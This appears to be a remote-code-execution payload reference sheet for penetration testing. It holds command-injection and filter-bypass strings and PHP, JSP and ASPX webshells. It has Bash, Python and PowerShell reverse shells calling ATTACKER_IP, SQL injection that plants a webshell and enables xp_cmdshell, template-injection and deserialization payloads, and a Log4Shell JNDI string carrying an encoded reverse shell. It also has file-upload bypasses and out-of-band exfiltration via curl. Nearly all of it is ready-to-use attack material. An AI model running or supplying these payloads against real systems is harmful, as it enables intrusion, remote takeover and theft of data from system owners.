Command InjectionWebshellReverse ShellSSTIDeserializationLog4Shell
; whoami | whoami `whoami` $(whoami) && cat /etc/passwd %0a whoami
필터 우회:
w'h'o'am'i
w"h"o"am"i
who$@mi
cat${IFS}/etc/passwd
/???/??m /???/??ss??
<?php system($_GET['cmd']); ?> <?php eval($_REQUEST['c']); ?> <?php echo shell_exec($_GET['c']); ?> <?=`$_GET[0]`?>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["c"]); %>
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($t,0,$t.Length)}"
# Listener
nc -lvnp 4444
' UNION SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- - ; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; --
{{7*7}}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}
# Java (ysoserial)
java -jar ysoserial.jar CommonsCollections5 'whoami' > payload.bin
# PHP
O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
${jndi:ldap://ATTACKER_IP:1389/Basic/Command/base64/YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC80NDQ0IDA+JjE=}
shell.php → shell.php5, .phtml, .phar shell.jpg (GIF89a magic bytes) + .htaccess: AddType application/x-httpd-php .jpg Content-Type: image/jpeg + shell.php.jpg
# Out-of-band curl http://ATTACKER_IP:8000/$(whoami) $(whoami).oob.example.com # Blind (time-based) sleep 5
Generated for authorized security testing — RCE Payload Reference Sheet.